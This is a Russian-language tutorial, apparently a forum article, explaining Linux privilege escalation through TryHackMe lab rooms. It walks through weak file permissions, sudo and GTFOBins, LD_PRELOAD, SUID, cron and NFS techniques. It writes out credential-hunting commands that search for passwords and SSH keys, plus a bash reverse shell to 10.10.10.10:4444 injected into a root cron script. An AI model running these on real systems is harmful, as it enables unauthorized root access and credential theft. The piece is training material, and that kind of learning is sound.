Автор: BlameUself
Источник: xss.pro
Продолжая каратать холодные зимние вечера, проходя комнаты CtF на TryHackMe, я понял, что самымыми комплексными и трудными моментами для меня были задачи по повышению привилегий к уже полученным доступам. Все, что происходило до этого, было достаточно простым и понятным, но на этом этапе сложность возрастала многократно, и порой я даже не понимал, что происходит.
После того, как я принялся разбираться в этом вопросе и анализировать его, я делал заметки, которые послужили основой для этой статьи. Я постарался написать её простыми словами, так чтобы она была понятна всем новичкам.
В рамках статьи я бы хотел сконцентрироваться на основных способах PrivEsc, начиная с наиболее простых и двигаясь к более сложным. Описывая исключительно Linux-машины, про Windows-машины я бы хотел рассказать отдельно. По задумке, статья должна стать отправной точкой для тех, кто хочет узнать больше об этой теме. Стоит отметить, что существует сотни, если не тысячи, CVE. Было бы здорово, если бы вы рассказали о самых примечательных в комментариях, но эта статья, по определению, не сможет охватить каждую из них. Я буду использовать некоторые комнаты с TryHackMe в качестве примеров для фото, а в завершении оставлю ссылки на несколько комнат, чтобы вы могли опробовать данную информацию самостоятельно. Это тестовая среда, так что играйте, но как говорится не заигрывайтесь, или колит….)
Я буду объяснять, что делает та или иная команда, однако, если вы не знакомы с терминалом, настоятельно рекомендую предварительно прочитать прекрасную книгу "Командная строка Linux. Полное руководство" автора Уильяма Шоттса.
Если ранее вы принимали участие в CtF играх, вероятно, заметили, что получив доступ тем или иным способом, тот будет иметь ограничения, а сама игра будет подталкнет к развитию атаки путем повышения привилегий. Зачастую финальный флаг доступен только root пользователю.
Само определение немного шире и говорит о том, что повышение привилегий - это эксплуатация программных ошибок, дизайна системы или ее конфигурации, которая приводит к эскалации возможностей пользователя относительно изначальной авторизации.
Оказавшись перед шеллом, мы скажем ему "whoami", или другими словами начнем с разведки. Ее автоматизацию затронем немного ниже, пока же будем вводить команды вручную. Уже на этом этапе будет несколько классных векторов атаки, не требующих особых навыков.
Введя команду 'whoami', мы узнаем, какой пользователь в данный момент активен в системе, проще говоря, кто мы есть.
Для того чтобы узнать немного больше информации, введем команду 'id' и увидим идентификатор пользователя (UID), группу (GID) и список групп, к которым мы принадлежим. Она также поддерживает аргумент в виде имени пользователя.
Философия Linux базируется на парадигме "все в системе есть файл", которая представляет собой абстракцию для взаимодействия с системным API. Еще раз, любая системная служба, любой интерфейс предоставляют другим приложениям метафору файла.
Следовательно, каждый файл принадлежит какому-то пользователю и группе. Всего существуют три типа прав доступа: чтение, запись и исполнение. Права доступа задаются по отдельности для владельца-пользователя, владельца-группы и для прочих пользователей, которые не входят в первые две категории.
Проверить права доступа на файл можно с помощью команды 'ls' с флагом 'l'.
Лог слева будет означать, что владелец имеет разрешения на чтение и запись, но не имеет разрешения на выполнение ("rw-"). "r--" означает, что члены группы имеют только разрешение на чтение файла, но не на запись или выполнение. "r--", идущие следом, относится к правам доступа всех остальных пользователей; они также имеют только разрешение на чтение файла. Не беспокойтесь, это 2024 год, и GPT модели прекрасно объяснят вам лог вывода команды, если что-то забудете.
Зная все это, перед нами открывается вектор повышения привилегий через слабые права доступа к файлам.
Мы рассмотрим два файла - /etc/passwd и /etc/shadow.
/etc/shadow - этот файл содержит зашифрованные пароли пользователей системы, а также дополнительную информацию о паролях и учетных записях пользователей. Как правило, он доступен только пользователю root, но на любое правило есть исключение:
То, что идет между первых двух точек, и есть хеш.
Дальнейшие действия просты - снимаем хеш, используя любой софт на выбор, например, John the Ripper, получаем пароль в чистом виде и входим под пользователем root.
/etc/passwd - этот файл содержит информацию о всех зарегистрированных пользователях системы. Изначально он включал в себя хеши паролей, однако позже они были перемещены в файл /etc/shadow. Обычно файл доступен для чтения всем пользователям, но открыт для редактирования только пользователю root. Исключение состоит в возможности открытого редактирования с прямым добавлением хеша пароля.
Сперва мы генерируем хеш пароля используя openssl, далее добавляем нового пользователя копируя строчку root, внеся изменения в имя и заменяем x на хеш, после этого мы сможем использовать созданного пользователя с root правами.
Продолжаем смотреть по сторонам, чтобы узнать больше информации о системе, используя команду uname с флагом a. Она выводит, в том числе, версию ядра и открывает перед нами следующий вектор атаки.
Повышение привилегий через версию ядра.
Если бы операционная система была компанией, то ядро ОС было бы ее CEO.
Ядро обеспечивает, в том числе, управление памятью, процессами, устройствами ввода-вывода, файловой системой. Оно представляет наиболее низкий уровень абстракции для доступа приложений к ресурсам системы, необходимым для их работы.
Вам достаточно поверхностного представления об этом, поскольку повышение привилегий этим способом происходит очень просто:
- Узнаем версию ядра.
- Ищем в поисковике версию ядра + добавляем слово "exploit".
- Изучаем, что представляет из себя эксплойт, что именно он позволяет сделать, и как именно его запускать.
- Эксплуатируем.
Говорят, самым слабым звеном в цепи любой архитектуры системы безопасности всегда будут люди.
А что если люди уже оставили пароли в системе? И нам просто достаточно их найти?
Повышение привилегий через файлы паролей и ключей системы.
Команда grep в Linux используется для поиска текста в файлах или выводе других команд. Для мастерства этой команды вам необходимо знать регулярные выражения.
Регулярные выражения позволяют задавать более сложные условия поиска, чем просто поиск конкретной строки. Они могут включать специальные символы, которые позволяют задавать шаблоны. Эта тема может показаться сложной, но на самом деле это не совсем так. Сегодня современные модели GPT могут достаточно точно составить вам регулярку, но если вы хотите овладеть этой темой самостоятельно, я рекомендую книгу "Изучаем регулярные выражения" - Бен Форт.
Я оставлю несколько команд для этого, попробуйте использовать их или подумать над своими:
- cat ~/.*history | less - В системе существует файл, который логирует историю взаимодействия с терминалом. Он не отображает пароли для пользователей, но пароли к другим сервисам, таким как базы данных, вполне могут быть там записаны. Эта команда выводит содержимое файлов данного расширения.
- grep -rnw '/' -ie "PASSWORD" 2> /dev/null - Начиная поиск с корневого каталога, мы указываем опцию для регистронезависимого поиска слова "PASSWORD" во всех файлах системы. Ошибки перенаправляются в /dev/null, тем самым игнорируя их. Также стоит попробовать поиск по слову “PASS”. Можно также убрать флаг -w, тогда поиск будет проходить и по части слова.
- locate password - поиск по имени файла.
- find / -name id_rsa 2> /dev/null - Помимо поиска просто по содержанию файлов, мы можем искать файлы id_rsa. Файлы id_rsa - это приватные ключи для протокола SSH (Secure Shell). Этот ключ используется для аутентификации при подключении к удаленному серверу через SSH. Мы можем использовать этот способ подключения к серверу вместо стандартного пароля.
- ls -l ~/.ssh - команда для отображения файлов в скрытой директории ssh.
Начинаем рассматривать более сложные способы. Повышение привилегий с использованием sudo.
Команда sudo (Substitute User and do, дословно «подменить пользователя и выполнить») в UNIX-подобных операционных системах позволяет пользователям запускать программы с привилегиями другого пользователя, по умолчанию суперпользователя.
Не следует путать её с командой su. Эта команда позволяет пользователю войти в систему под другим именем, не завершая текущий сеанс.
Есть несколько способов, которыми мы можем использовать sudo для повышения привилегий.
Первый способ, о котором я прочитал, пока писал этот текст, и о котором я не нашел много информации, заключается в ошибках конфигурации /etc/sudoers. Его идея заключается в использовании команды sudo su -. Команда запросит пароль текущего пользователя, а затем предоставит полные права суперпользователя. Я не думаю, что это встречается часто, но в любом случае вы можете попробовать. В случае успеха вы сразу получите root доступ.
Основной способ заключается в том, что у пользователя может быть список команд, которые ему разрешено выполнять от лица другого пользователя. Чтобы узнать список этих команд, мы вводим команду sudo -l.
Мы видим список команд, которые пользователь может выполнить с помощью sudo, а также ограничения, связанные с этими командами (например, необходимость ввода пароля).
После того как мы получили список команд, мы идем на замечательный ресурс GTFOBins.
GTFOBins - это список двоичных файлов Unix, которые можно использовать для обхода локальных ограничений безопасности в неправильно сконфигурированных системах.
Можно сказать, что это база потенциально опасных сценариев.
Выбираем команду и ищем её на GTFOBins. Предположим, глянем, что там по Vim.
Пробуем воспользоваться командой a - работаем от root, входим и выходим: :q.
В случае, если какой-то команды нет в списке GTFOBins, это не повод опускать руки. Мы можем использовать поиск для дополнительной информации.
Используйте поиск, следуйте инструкциям, вникая в процесс, стараясь понять, что именно происходит, и эксплуатируйте.
Также следует проверить версию sudo, используя команду sudo --version, и проверить наличие эксплоитов для данной версии sudo в интернете.
Повышение привилегий с использованием переменных окружения.
Sudo может быть настроен на наследование определенных переменных окружения из окружения пользователя.
Возвращаемся к нашему логу:
Переменные LD_PRELOAD и LD_LIBRARY_PATH наследуются из окружения пользователя.
LD_PRELOAD - это переменная окружения, которая позволяет предварительно загружать библиотеки (shared object) перед загрузкой стандартных библиотек.
LD_LIBRARY_PATH - это переменная окружения, определяющая список каталогов, в которых общие библиотеки будут искаться при выполнении программы.
Shared object загружаются в память перед запуском приложения, и если нескольким процессам требуется одна и та же библиотека, она будет загружена в систему только один раз.
Давайте создадим shared object. Воспользуемся следующим кодом. Его логика в том, что мы удаляем переменную окружения LD_PRELOAD, устанавливаем идентификатор пользователя (UID) процесса в 0, что соответствует пользователю root, и запускаем терминал с root-правами.
Используем эксплоит и получим root shell.
Повышение привилегий через SUID/SGID.
Ранее я рассмотрел механизм доступа к файлам в Linux, давайте немного углубимся в это.
Файл с SUID всегда исполняется пользователем, которому принадлежит файл, независимо от того, кто передает команду. Это необходимо, например, если пользователь захочет сменить пароль, используя passwd. Смена пароля разрешена только пользователю root, следовательно, команде необходимо иметь бит SUID.
Бит SGID аналогичен SUID, но устанавливается для группы-владельца. Это все, что нужно знать.
Способ эскалации также достаточно прост: используя команду
find / -type f -a \\( -perm -u+s -o -perm -g+s \\) -exec ls -l {} \\; 2> /dev/null
мы выводим список всех файлов SUID/SGID. По аналогии с ядром мы ищем эксплойты под конкретные файлы.
Перебираем файлы и обнаруживаем уязвимость для файла exim-4.84-3.
Используем эксплойт https://www.exploit-db.com/exploits/39535.
Получаем root доступ.
Более сложный способ, связанный с использованием SUID, включает в себя инъекцию Shared Object. Мы уже сталкивались с этим объектом ранее в разделе о sudo.
В первую очередь, мы используем strace для отслеживания системных вызовов и поиска всех библиотек и файлов, к которым обращается исполняемый файл.
Наша задача - найти общую библиотеку и заменить ее своим кодом.
В данном случае это файл /usr/local/bin/suid-so и библиотека libcalc.so.
Затем мы создаем эксплоит и заменяем им библиотеку. Суть кода заключается в том, чтобы установить UID процесса в 0 (root).
Таким образом, мы получаем доступ с правами root.
Более современный способ выдачи прав называется привилегии.
Они позволяют программам получить доступ к определённым возможностям, которые обычно доступны только суперпользователю, что позволяет избежать запуска программ от имени root.
То есть, вместо того чтобы давать полный доступ, пользователь получает лишь определённые привилегии, список которых можно найти здесь - https://man.archlinux.org/man/capabilities.7
Мы можем использовать getcap -r / 2>/dev/null чтобы отобразить их, а затем попробовать найти эксплойты, начиная с https://gtfobins.github.io/#+capabilities
Повышение привилегий через Cron.
Cron - это стандартный процесс в Unix-подобных операционных системах, который позволяет выполнять задачи в определенное время или с интервалами. Он используется для автоматизации регулярных задач, таких как резервное копирование файлов, отправка отчетов по электронной почте, обновление баз данных и другие.
Crontab - это файл конфигурации, который используется для определения задач, которые должны быть выполнены с помощью Cron. Каждый пользователь может иметь свой собственный crontab.
Файл /etc/crontab содержит crontab, который применяется ко всей системе в целом, а не к конкретному пользователю, и он доступен для чтения любому пользователю.
Последовательность действий снова очень проста - находим скрипт, который запускается кроном, и меняем его содержимое.
Выполняем команду cat /etc/crontab, обращаем внимание на два скрипта, которые запускаются каждую минуту.
Далее ищем локацию файла overwrite.sh и убеждаемся, что у нас есть права на изменения.
В файл мы добавим код ‘bash -i >& /dev/tcp/10.10.10.10/4444 0>&1’
Этот код используется для установления соединения с удаленным сервером по TCP-протоколу на 4444 порту, в целом он представляет собой реверс шелл, и поскольку он будет запущен от пользователя root мы также получим root доступ.
На основной машине мы запускает прослушивающий TCP-сервер на порту 4444 командойnc -nvlp 4444 и в течении минуты получаем root доступ.
Повышение привилегий с использованием NFS.
NFS, расшифровывается как Network File System, представляет собой протокол сетевой файловой системы. Он обеспечивает возможность обмена каталогами и файлами между системами через сеть, словно они находятся на одном локальном устройстве.
Первым делом мы используем команду cat /etc/exports и получаем конфигурацию NFS.
Наша цель - обнаружить флаг no root squash disabled, и мы его находим. Это означает, что папка, используемая в NFS, принадлежит root'у, и все файлы, помещенные в эту папку, также будут иметь привилегии root'а.
Далее мы монтируем эту директорию к себе на систему:
В результате выполнения этих команд файловая система, находящаяся в директории /tmp на удаленном сервере, будет доступна для чтения и записи на локальной машине в директории /tmp/nfs.
Используя msfvenom, мы сгенерируем payload:
Затем мы сделаем файл исполняемым и установим разрешение SUID.
Запустим файл /tmp/nfs/shell.elf и получим root доступ.
Если ни один из этих способов не дал результатов, мы всегда можем воспользоваться старым добрым брутфорсом и попробовать просто угадать пароль. Из минусов этого метода - он очень громкий, поэтому прибегайте к нему только в случае, если ничто другое не сработало.
Утилита под эту задачу - sucrack
Нам необязательно прибегать к ручной проверке всех этих способов. Существуют скрипты, которые помогут автоматизировать процесс. Более того, автоматизация процесса является следующим шагом после понимания того, что вообще происходит. Вот несколько из них:
- https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
- https://github.com/rebootuser/LinEnum
- https://github.com/mzet-/linux-exploit-suggester
Самое время перейти к пратике, оставляю список нескольких комнат в которых вы можете оточить свое мастерство, о самом сервисе я рассказывал - здесь.
Начнине с машины https://tryhackme.com/room/linuxprivesc
И пройдитесь по списку:
- LazyAdmin
- RootMe
- Kenobi
- Linux Agency
- Sudo Security Bypass
- Sudo Buffer Overflow
- OverlayFS - CVE-2021-3493
- Pwnkit: CVE-2021-4034
- Dirty Pipe: CVE-2022-0847
Глобально, я бы дал рекомендацию изучать существующие эксплоиты, анализировать их поведение, углубляться в те особенности работы ОС, которые еще не до конца поняты. День за днем ваши познания в этом будут расти, и то, что казалось магией полгода назад, будет казаться скучной банальностью. Ну а мы заканчиваем наше путешествие в миры повышения привилегий на Linux-машине. Увидимся совсем скоро в мирах машин с Windows.